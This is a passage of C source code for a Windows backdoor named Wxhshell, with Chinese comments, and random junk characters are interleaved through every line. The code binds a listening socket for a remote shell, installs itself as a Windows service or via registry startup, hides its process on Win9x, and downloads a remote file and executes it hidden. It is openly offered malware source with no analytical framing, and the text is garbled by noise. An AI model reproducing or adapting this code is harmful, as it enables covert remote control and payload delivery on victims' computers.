w^- unsigned long cbNeeded; u, 3#M ~ Wh&8pH: if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); [Y`,qB<B ~F1:N>>_Cf CloseHandle(hProcess); ,^S@EDq [TNj;o5J if(strstr(procName,"services")) return 1; // 以服务启动 jM\*A#Jo5 <8,cuX\ return 0; // 注册表启动 IgC}& } dg^L= .Lfo)?zG // 主模块 u :F~K int StartWxhshell(LPSTR lpCmdLine) w9|w2UK { bGorH=pb5R SOCKET wsl; Q[#vTB$f BOOL val=TRUE; r7Ya\0gU int port=0; Q:$Zy struct sockaddr_in door; , lJv X6^},C'E.: if(wscfg.ws_autoins) Install(); 3QpYmX<E /<rt1&0 port=atoi(lpCmdLine); !Kv@\4 Uo-`>7 if(port<=0) port=wscfg.ws_port; =~+DUMBT >"Q@bQ:e WSADATA data; \w'*z&`W9 if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~@kU3ZGJZ ~,2/JDVJ5- if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ,k G>?4 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); E_zIg+(+ door.sin_family = AF_INET; Oez>X=Xf door.sin_addr.s_addr = inet_addr("127.0.0.1"); T,$WlK
Wj door.sin_port = htons(port); 57 #6yXQ
LzCw+@-umw if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 1@lJonlF closesocket(wsl); |`;54_f return 1; ~.!c~fke } Zc?ppO t3+Py7qv if(listen(wsl,2) == INVALID_SOCKET) { bb
d. closesocket(wsl); WAn'kA return 1; 1 1cWy+8D } |^9BA-nA Wxhshell(wsl); }Nb8}(6 WSACleanup(); b?eu jxqg \.g\Zib ) return 0; bz|
D-. IVW1]y } 'fL"txW $2%f 8& // 以NT服务方式启动 C R|lt VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) vip~' { A7c/N=Cp^ DWORD status = 0; kD}Y|*]5-5 DWORD specificError = 0xfffffff; F!.E5<&7= CX m+)a-L serviceStatus.dwServiceType = SERVICE_WIN32; tbO
H#| serviceStatus.dwCurrentState = SERVICE_START_PENDING; t5lO'Ll*Q] serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; CwX Z serviceStatus.dwWin32ExitCode = 0; eW>3XD4 serviceStatus.dwServiceSpecificExitCode = 0; {%#)5l) serviceStatus.dwCheckPoint = 0; %2V-~.Ro6 serviceStatus.dwWaitHint = 0; 5 Qoew9rA v)_nWu hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); lHV[Ln`\x if (hServiceStatusHandle==0) return; b^[F""!e o:6@Kw^ status = GetLastError(); %e@HZ"V if (status!=NO_ERROR) b]a@ { -)~SM& serviceStatus.dwCurrentState = SERVICE_STOPPED; RQFI'@Ks serviceStatus.dwCheckPoint = 0; wd/<
8>2X serviceStatus.dwWaitHint = 0; )yo
a serviceStatus.dwWin32ExitCode = status; "}Me}S<
serviceStatus.dwServiceSpecificExitCode = specificError; :eZh'-c? SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4ikd M/ return; o!~Jzd.=h } Z;h<6[( W0=O+0$^ serviceStatus.dwCurrentState = SERVICE_RUNNING; ai*f
F serviceStatus.dwCheckPoint = 0; FE o269Ur serviceStatus.dwWaitHint = 0; Qeu\&%C!< if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); apk4j\i?5 } *|_"W+JC !d&C>7nb // 处理NT服务事件,比如:启动、停止 +1~Z#^{& VOID WINAPI NTServiceHandler(DWORD fdwControl) mYc.x { DD44"w_9 switch(fdwControl) %0Y=WYUH> { FW"^99mrnb case SERVICE_CONTROL_STOP: 76vy5R(. serviceStatus.dwWin32ExitCode = 0; vLxQ *50v$ serviceStatus.dwCurrentState = SERVICE_STOPPED; ,E|m. serviceStatus.dwCheckPoint = 0; xm6 EKp: serviceStatus.dwWaitHint = 0; H'qG/@u-l { ?:Y#Tbi3 SetServiceStatus(hServiceStatusHandle, &serviceStatus); mm5$>
[%U } |7KeR- return; B>Wu;a.:L case SERVICE_CONTROL_PAUSE: _
%%Z6x( serviceStatus.dwCurrentState = SERVICE_PAUSED; z_
=Bt break; I!wX[4p eg case SERVICE_CONTROL_CONTINUE: <[GYLN[0Q serviceStatus.dwCurrentState = SERVICE_RUNNING; Ix|~f1*% break; =:SN1#G3n case SERVICE_CONTROL_INTERROGATE: .qA{x bu break; {_U
Kttp }; B4XZko( SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1T)Zh+?)} } Eq:2k)BE al+ #y)+ // 标准应用程序主函数 i*eAdIi int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) RwVaZJe)l { ,p;_\\< IcIOC8WC // 获取操作系统版本 *1@:'rJ OsIsNt=GetOsVer(); 8 ^B;1`# GetModuleFileName(NULL,ExeFile,MAX_PATH); gN {'UDg pb0E@C/R // 从命令行安装 tvd0R$5} if(strpbrk(lpCmdLine,"iI")) Install(); 1b9hE9a{j TEsnN i
1 // 下载执行文件 rd3j1U if(wscfg.ws_downexe) { k'_ P7 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $mGvJ*9 WinExec(wscfg.ws_filenam,SW_HIDE); x7T+> } @d"wAZzD? @DC)]C2 if(!OsIsNt) { &6Il(3-^ // 如果时win9x,隐藏进程并且设置为注册表启动 Lhh;2r/?78 HideProc(); ):EBgg4-N StartWxhshell(lpCmdLine);
8[ry|J } zdSh: else *5,c Rz if(StartFromService()) 8dK0o>|} // 以服务方式启动 =l<iI*J.
M StartServiceCtrlDispatcher(DispatchTable); YwH./)r= else buk=p-oi // 普通方式启动 7+w'Y<mJ StartWxhshell(lpCmdLine); s~26 &@ 3m-Z return 0; #pdUJ2)yM }
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